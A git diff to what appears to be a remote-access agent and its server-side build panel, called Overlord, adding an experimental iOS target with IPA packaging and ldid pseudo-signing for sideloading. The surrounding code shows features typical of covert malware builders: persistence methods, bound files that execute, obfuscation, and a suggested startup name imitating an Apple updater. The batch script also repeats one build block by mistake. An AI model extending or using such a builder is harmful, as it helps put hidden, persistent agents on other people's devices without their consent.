diff --git a/Dockerfile b/Dockerfile
index c18b675..0817d0f 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -20,6 +20,7 @@ RUN apt-get update \
git \
unzip \
upx-ucl \
+ zip \
&& rm -rf /var/lib/apt/lists/*
# Install Go (latest stable version)
@@ -58,6 +59,17 @@ RUN case "${TARGETARCH}" in \
&& mv android-ndk-${ANDROID_NDK_VERSION} ${ANDROID_NDK_HOME} \
&& rm android-ndk-${ANDROID_NDK_VERSION}-linux.zip
+RUN case "${TARGETARCH}" in \
+ amd64) LDID_ARCH="x86_64" ;; \
+ arm64) LDID_ARCH="aarch64" ;; \
+ *) LDID_ARCH="" ;; \
+ esac \
+ && if [ -n "${LDID_ARCH}" ]; then \
+ wget -q "https://github.com/ProcursusTeam/ldid/releases/download/v2.1.5-procursus7/ldid_linux_${LDID_ARCH}" \
+ -O /usr/local/bin/ldid \
+ && chmod +x /usr/local/bin/ldid; \
+ fi
+
# Copy package files and lockfile
COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./
diff --git a/Overlord-Client/cmd/agent/config/identity_darwin.go b/Overlord-Client/cmd/agent/config/identity_darwin.go
index 2fc1a96..2e308c5 100644
--- a/Overlord-Client/cmd/agent/config/identity_darwin.go
+++ b/Overlord-Client/cmd/agent/config/identity_darwin.go
@@ -1,4 +1,4 @@
-//go:build darwin
+//go:build darwin && !ios && !ios_target
package config
diff --git a/Overlord-Client/cmd/agent/config/identity_iostarget.go b/Overlord-Client/cmd/agent/config/identity_iostarget.go
new file mode 100644
index 0000000..553dac4
--- /dev/null
+++ b/Overlord-Client/cmd/agent/config/identity_iostarget.go
@@ -0,0 +1,38 @@
+//go:build ios || ios_target
+
+package config
+
+import (
+ "crypto/rand"
+ "encoding/hex"
+ "log"
+ "os"
+ "strings"
+)
+
+const iosMachineIDFile = "config/ios_machine_id"
+
+func platformMachineID() string {
+ data, err := os.ReadFile(iosMachineIDFile)
+ if err == nil {
+ if id := strings.TrimSpace(string(data)); id != "" {
+ return id
+ }
+ }
+
+ b := make([]byte, 16)
+ if _, err := rand.Read(b); err != nil {
+ log.Printf("[identity] WARNING: failed to generate iOS machine ID: %v", err)
+ return ""
+ }
+ id := hex.EncodeToString(b)
+
+ if err := os.MkdirAll("config", 0700); err != nil {
+ log.Printf("[identity] WARNING: failed to create config dir for iOS machine ID: %v", err)
+ return id
+ }
+ if err := os.WriteFile(iosMachineIDFile, []byte(id), 0600); err != nil {
+ log.Printf("[identity] WARNING: failed to persist iOS machine ID: %v", err)
+ }
+ return id
+}
diff --git a/Overlord-Client/cmd/agent/handlers/elevate_darwin.go b/Overlord-Client/cmd/agent/handlers/elevate_darwin.go
index 095eb2e..a49a18a 100644
--- a/Overlord-Client/cmd/agent/handlers/elevate_darwin.go
+++ b/Overlord-Client/cmd/agent/handlers/elevate_darwin.go
@@ -1,4 +1,4 @@
-//go:build darwin
+//go:build darwin && !ios && !ios_target
package handlers
diff --git a/Overlord-Client/cmd/agent/handlers/elevate_iostarget.go b/Overlord-Client/cmd/agent/handlers/elevate_iostarget.go
new file mode 100644
index 0000000..54eeedd
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/elevate_iostarget.go
@@ -0,0 +1,19 @@
+//go:build ios || ios_target
+
+package handlers
+
+import (
+ "context"
+
+ agentRuntime "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+)
+
+func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: false,
+ Message: "elevation is not supported on iOS",
+ })
+}
diff --git a/Overlord-Client/cmd/agent/persistence/persistence_darwin.go b/Overlord-Client/cmd/agent/persistence/persistence_darwin.go
index 5b97273..a28f708 100644
--- a/Overlord-Client/cmd/agent/persistence/persistence_darwin.go
+++ b/Overlord-Client/cmd/agent/persistence/persistence_darwin.go
@@ -1,5 +1,4 @@
-//go:build darwin
-// +build darwin
+//go:build darwin && !ios && !ios_target
package persistence
diff --git a/Overlord-Client/cmd/agent/persistence/persistence_iostarget.go b/Overlord-Client/cmd/agent/persistence/persistence_iostarget.go
new file mode 100644
index 0000000..84db71a
--- /dev/null
+++ b/Overlord-Client/cmd/agent/persistence/persistence_iostarget.go
@@ -0,0 +1,21 @@
+//go:build ios || ios_target
+
+package persistence
+
+import "fmt"
+
+func install(_ string) error {
+ return fmt.Errorf("persistence is not supported on iOS")
+}
+
+func configure(_ string) error {
+ return fmt.Errorf("persistence is not supported on iOS")
+}
+
+func getTargetPath() (string, error) {
+ return "", fmt.Errorf("persistence is not supported on iOS")
+}
+
+func uninstall() error {
+ return nil
+}
diff --git a/Overlord-Client/cmd/agent/plugins/loader_darwin.go b/Overlord-Client/cmd/agent/plugins/loader_darwin.go
index d9b4dba..41f25d0 100644
--- a/Overlord-Client/cmd/agent/plugins/loader_darwin.go
+++ b/Overlord-Client/cmd/agent/plugins/loader_darwin.go
@@ -1,4 +1,4 @@
-//go:build darwin && cgo
+//go:build darwin && cgo && !ios && !ios_target
package plugins
diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go b/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go
index de0c363..d924830 100644
--- a/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go
+++ b/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go
@@ -1,4 +1,4 @@
-//go:build darwin
+//go:build darwin && !ios && !ios_target
package sysinfo
diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_iostarget.go b/Overlord-Client/cmd/agent/sysinfo/admin_iostarget.go
new file mode 100644
index 0000000..55694b8
--- /dev/null
+++ b/Overlord-Client/cmd/agent/sysinfo/admin_iostarget.go
@@ -0,0 +1,15 @@
+//go:build ios || ios_target
+
+package sysinfo
+
+func IsAdmin() bool {
+ return false
+}
+
+func Elevation() string {
+ return ""
+}
+
+func DarwinPermissions() map[string]bool {
+ return nil
+}
diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js
index 9f416e8..3ccb5a9 100644
--- a/Overlord-Server/public/assets/build.js
+++ b/Overlord-Server/public/assets/build.js
@@ -377,6 +377,7 @@ function getSelectedPlatformFamilies() {
windows: selectedPlatforms.some((platform) => platform.startsWith("windows-")),
linux: selectedPlatforms.some((platform) => platform.startsWith("linux-")),
darwin: selectedPlatforms.some((platform) => platform.startsWith("darwin-")),
+ ios: selectedPlatforms.some((platform) => platform.startsWith("ios-")),
};
}
@@ -384,8 +385,8 @@ function validateStartupName() {
if (!startupNameError) return true;
const families = getSelectedPlatformFamilies();
const val = document.getElementById("startup-name")?.value.trim() || "";
- if (families.darwin && val && !val.startsWith("com.")) {
- startupNameError.textContent = "macOS requires the name to start with \"com.\" (e.g. com.apple.updater)";
+ if ((families.darwin || families.ios) && val && !val.startsWith("com.")) {
+ startupNameError.textContent = "macOS/iOS requires the name to start with \"com.\" (e.g. com.apple.updater)";
startupNameError.classList.remove("hidden");
return false;
}
@@ -439,10 +440,20 @@ if (persistenceCheckbox && persistenceMethodContainer) {
platformInputs.forEach((input) => {
input.addEventListener("change", updatePersistenceSettingsVisibility);
input.addEventListener("change", updateWindowsSectionVisibility);
+ input.addEventListener("change", updateIosSectionVisibility);
});
document.getElementById("startup-name")?.addEventListener("input", validateStartupName);
+function updateIosSectionVisibility() {
+ const families = getSelectedPlatformFamilies();
+ const iosBundleIdContainer = document.getElementById("ios-bundle-id-container");
+ if (iosBundleIdContainer) {
+ iosBundleIdContainer.classList.toggle("hidden", !families.ios);
+ }
+}
+updateIosSectionVisibility();
+
updatePersistenceSettingsVisibility();
form?.addEventListener("change", saveFormSettings);
@@ -1123,15 +1134,17 @@ form?.addEventListener("submit", async (e) => {
boundFiles: boundFiles.length > 0
? boundFiles.map((f) => ({ name: f.name, data: f.base64, targetOS: f.targetOS, execute: f.execute }))
: undefined,
+ iosBundleId: platforms.some(p => p.startsWith('ios-')) ? (form.querySelector("#ios-bundle-id")?.value.trim() || undefined) : undefined,
};
const hasAndroid = platforms.some(p => p.startsWith('android-'));
const hasBsd = platforms.some(
p => p.startsWith('freebsd-') || p.startsWith('openbsd-'),
);
+ const hasIos = platforms.some(p => p.startsWith('ios-'));
- if (hasAndroid || hasBsd) {
- let warningText = 'WARNING: Some selected targets are severely untested and will probably not work right.\n\n';
+ if (hasAndroid || hasBsd || hasIos) {
+ let warningText = 'WARNING: Some selected targets are experimental/untested.\n\n';
if (hasAndroid) {
warningText += '- Android targets are severely untested and will probably not work right.\n';
@@ -1141,6 +1154,10 @@ form?.addEventListener("submit", async (e) => {
warningText += '- BSD targets are severely untested and will probably not work right.\n';
}
+ if (hasIos) {
+ warningText += '- iOS targets are experimental (POC). Most features will be stubbed. Output will be packaged as IPA if possible.\n';
+ }
+
warningText += '\nContinue with build anyway?';
if (!confirm(warningText)) {
diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html
index de22ca8..42847fe 100644
--- a/Overlord-Server/public/build.html
+++ b/Overlord-Server/public/build.html
@@ -120,6 +120,14 @@
Android ARMv7
+
+
@@ -177,6 +185,15 @@
+
+
+
+
+ Bundle identifier for the iOS IPA package (e.g. com.example.myapp). Used in Info.plist.
+
+
+
p.startsWith("freebsd-") || p.startsWith("openbsd-"),
);
+ const hasIosTargets = platformsToBuild.some((p) => p.startsWith("ios-"));
if (hasAndroidTargets) {
sendToStream({
@@ -282,6 +283,14 @@ export async function startBuildProcess(
});
}
+ if (hasIosTargets) {
+ sendToStream({
+ type: "output",
+ text: "WARNING: iOS targets are experimental (POC). Most features will be stubbed. CGO will be force-disabled.\n",
+ level: "warn",
+ });
+ }
+
const ndkBin = resolveAndroidNdkToolchainBin();
if (!ndkBin && platformsToBuild.some((p) => p.startsWith("android-"))) {
sendToStream({
@@ -610,7 +619,10 @@ func runBoundFiles() {
const [os, arch, ...rest] = platform.split("-");
const goarm = arch === "armv7" ? "7" : undefined;
const actualArch = goarm ? "arm" : arch;
- const targetKey = `${os}/${actualArch}${goarm ? `/v${goarm}` : ""}`;
+ // iOS builds use GOOS=darwin with a custom build tag since GOOS=ios requires CGO/Xcode
+ const isIosTarget = os === "ios";
+ const effectiveOs = isIosTarget ? "darwin" : os;
+ const targetKey = `${effectiveOs}/${actualArch}${goarm ? `/v${goarm}` : ""}`;
const namePrefix = config.outputName || "agent";
const winExt = config.outputExtension || ".exe";
const outputName = deps.sanitizeOutputName(
@@ -622,7 +634,7 @@ func runBoundFiles() {
const env: NodeJS.ProcessEnv = {
...process.env,
- GOOS: os,
+ GOOS: effectiveOs,
GOARCH: actualArch,
CGO_ENABLED: config.disableCgo === true ? "0" : "1",
GOWORK: "off",
@@ -640,6 +652,15 @@ func runBoundFiles() {
});
}
+ if (isIosTarget && env.CGO_ENABLED === "1") {
+ env.CGO_ENABLED = "0";
+ sendToStream({
+ type: "output",
+ text: "WARNING: iOS builds require Xcode toolchain for CGO; forcing CGO disabled for this target.\n",
+ level: "warn",
+ });
+ }
+
if (env.CGO_ENABLED === "1") {
const cCompilerByTarget: Record
= {
"linux/amd64": "musl-gcc",
@@ -808,9 +829,10 @@ func runBoundFiles() {
if (methods.includes("taskscheduler")) buildTags.push("persist_taskscheduler");
if (methods.includes("wmi")) buildTags.push("persist_wmi");
}
+ if (isIosTarget) buildTags.push("ios_target");
const tagArg = buildTags.length > 0 ? `-tags "${buildTags.join(" ")}" ` : "";
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
- logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${os} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || ""}`);
+ logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${effectiveOs} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || ""}${isIosTarget ? " (iOS target via darwin+ios_target tag)" : ""}`);
const garbleFlags: string[] = [];
if (config.obfuscate) {
@@ -931,6 +953,118 @@ func runBoundFiles() {
}
}
+ // ── IPA packaging for iOS targets ──────────────────────────────────────
+ if (os === "ios") {
+ sendToStream({ type: "output", text: `Packaging ${outputName} as IPA...\n`, level: "info" });
+ try {
+ const appName = config.outputName || "Agent";
+ const bundleId = config.iosBundleId || "com.overlord.agent";
+ const ipaWorkDir = path.join(outDir, `_ipa_${platform}`);
+ const payloadAppDir = path.join(ipaWorkDir, "Payload", `${appName}.app`);
+
+ // Create Payload/App.app structure
+ fs.mkdirSync(payloadAppDir, { recursive: true });
+
+ // Copy binary into .app
+ fs.copyFileSync(filePath, path.join(payloadAppDir, appName));
+ fs.chmodSync(path.join(payloadAppDir, appName), 0o755);
+
+ // Generate Info.plist
+ const infoPlist = `
+
+
+
+ CFBundleExecutable
+ ${appName}
+ CFBundleIdentifier
+ ${bundleId}
+ CFBundleName
+ ${appName}
+ CFBundleDisplayName
+ ${appName}
+ CFBundleVersion
+ ${agentVersion}
+ CFBundleShortVersionString
+ ${agentVersion}
+ CFBundlePackageType
+ APPL
+ CFBundleSupportedPlatforms
+
+ iPhoneOS
+
+ MinimumOSVersion
+ 14.0
+ CFBundleInfoDictionaryVersion
+ 6.0
+ LSRequiresIPhoneOS
+
+ UIDeviceFamily
+
+ 1
+ 2
+
+ UISupportedInterfaceOrientations
+
+ UIInterfaceOrientationPortrait
+
+
+`;
+ fs.writeFileSync(path.join(payloadAppDir, "Info.plist"), infoPlist, "utf8");
+
+ // Attempt pseudo-signing with ldid if available
+ try {
+ const ldidResult = await $`which ldid`.nothrow().quiet();
+ if (ldidResult.exitCode === 0) {
+ const ldidSign = await $`ldid -S ${path.join(payloadAppDir, appName)}`.nothrow().quiet();
+ if (ldidSign.exitCode === 0) {
+ sendToStream({ type: "output", text: `Pseudo-signed with ldid\n`, level: "info" });
+ } else {
+ sendToStream({ type: "output", text: `WARNING: ldid signing failed (non-fatal)\n`, level: "warn" });
+ }
+ } else {
+ sendToStream({ type: "output", text: `ldid not found; skipping pseudo-signing (install ldid for TrollStore/sideload compatibility)\n`, level: "warn" });
+ }
+ } catch { /* ldid is optional */ }
+
+ const ipaName = `${outputName}.ipa`;
+ const ipaPath = path.join(outDir, ipaName);
+ const zipResult = await $`cd ${ipaWorkDir} && zip -r ${ipaPath} Payload/ 2>&1 || true`.nothrow().quiet();
+
+ // Fallback: if system zip isn't available, try creating it manually
+ if (!fs.existsSync(ipaPath)) {
+ // Use a simple tar+gzip approach as last resort — though real IPAs need zip
+ sendToStream({ type: "output", text: `WARNING: zip command not available. Outputting raw Mach-O binary instead of IPA.\n`, level: "warn" });
+ } else {
+ // Remove the raw binary, replace with IPA
+ fs.unlinkSync(filePath);
+ finalSize = fs.statSync(ipaPath).size;
+ sendToStream({ type: "output", text: `IPA packaged: ${finalSize} bytes\n`, level: "info" });
+
+ // Update output references to point to the IPA
+ const ipaOutputName = outputName.endsWith(".ipa") ? outputName : `${outputName}.ipa`;
+
+ // Clean up temp dirs
+ fs.rmSync(ipaWorkDir, { recursive: true, force: true });
+
+ // Push IPA file entry instead of raw binary
+ (build.files as any[]).push({
+ name: ipaOutputName,
+ filename: ipaOutputName,
+ platform,
+ version: agentVersion,
+ size: finalSize,
+ });
+ continue; // Skip the default file push below
+ }
+
+ // Clean up temp dirs
+ fs.rmSync(ipaWorkDir, { recursive: true, force: true });
+ } catch (ipaErr: any) {
+ sendToStream({ type: "output", text: `WARNING: IPA packaging failed: ${ipaErr.message || ipaErr}. Output is a raw Mach-O binary.\n`, level: "warn" });
+ }
+ }
+ // ── End IPA packaging ─────────────────────────────────────────────────
+
(build.files as any[]).push({
name: outputName,
filename: outputName,
diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts
index aefd91b..1cdc153 100644
--- a/Overlord-Server/src/server/routes/build-routes.ts
+++ b/Overlord-Server/src/server/routes/build-routes.ts
@@ -79,6 +79,7 @@ export async function handleBuildRoutes(
outputExtension,
sleepSeconds,
boundFiles,
+ iosBundleId,
} = body;
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
@@ -227,7 +228,8 @@ export async function handleBuildRoutes(
? startupName.trim()
: undefined;
const hasDarwinTarget = allowedPlatforms.some((p) => p.startsWith('darwin-'));
- if (hasDarwinTarget && safeStartupName && !safeStartupName.startsWith('com.')) {
+ const hasIosTarget = allowedPlatforms.some((p) => p.startsWith('ios-'));
+ if ((hasDarwinTarget || hasIosTarget) && safeStartupName && !safeStartupName.startsWith('com.')) {
return Response.json(
{ error: 'Startup name for macOS must start with "com." (e.g. com.apple.updater)' },
{ status: 400 },
@@ -340,6 +342,7 @@ export async function handleBuildRoutes(
outputExtension: safeOutputExtension,
sleepSeconds: safeSleepSeconds,
boundFiles: safeBoundFiles,
+ iosBundleId: typeof iosBundleId === "string" && /^[a-zA-Z0-9.-]{1,128}$/.test(iosBundleId.trim()) ? iosBundleId.trim() : undefined,
});
return Response.json({ buildId });
diff --git a/Overlord-Server/src/server/validation-constants.ts b/Overlord-Server/src/server/validation-constants.ts
index 1524e90..a0788c3 100644
--- a/Overlord-Server/src/server/validation-constants.ts
+++ b/Overlord-Server/src/server/validation-constants.ts
@@ -34,6 +34,8 @@ export const ALLOWED_PLATFORMS = new Set([
"android-arm64",
"android-amd64",
"android-armv7",
+ "ios-arm64",
+ "ios-amd64",
]);
export const ALLOWED_OS_FILTERS = new Set([
@@ -42,4 +44,5 @@ export const ALLOWED_OS_FILTERS = new Set([
"darwin",
"android",
"freebsd",
+ "ios",
]);
diff --git a/build-clients.bat b/build-clients.bat
index 748fd1f..1fbfb4f 100644
--- a/build-clients.bat
+++ b/build-clients.bat
@@ -177,6 +177,38 @@ set CGO_ENABLED=0
if errorlevel 1 goto :err
set GOARM=
+echo WARNING: iOS targets are experimental (POC). Most features will be stubbed.
+
+echo == Building agent for ios arm64 ==
+set GOOS=darwin
+set GOARCH=arm64
+set CGO_ENABLED=0
+if "%NO_PRINTING%"=="true" (
+ %BUILD_CMD% -tags "ios_target noprint" -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-ios-arm64" ./cmd/agent
+) else (
+ %BUILD_CMD% -tags "ios_target" -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-ios-arm64" ./cmd/agent
+)
+if errorlevel 1 goto :err
+
+echo == Building agent for ios amd64 (simulator) ==
+set GOOS=darwin
+set GOARCH=amd64
+set CGO_ENABLED=0
+if "%NO_PRINTING%"=="true" (
+ %BUILD_CMD% -tags "ios_target noprint" -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-ios-amd64" ./cmd/agent
+) else (
+ %BUILD_CMD% -tags "ios_target" -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-ios-amd64" ./cmd/agent
+)
+set GOOS=darwin
+set GOARCH=amd64
+set CGO_ENABLED=0
+if "%NO_PRINTING%"=="true" (
+ %BUILD_CMD% -tags "ios_target noprint" -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-ios-amd64" ./cmd/agent
+) else (
+ %BUILD_CMD% -tags "ios_target" -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-ios-amd64" ./cmd/agent
+)
+if errorlevel 1 goto :err
+
echo == Building agent for openbsd amd64 ==
set GOOS=openbsd
set GOARCH=amd64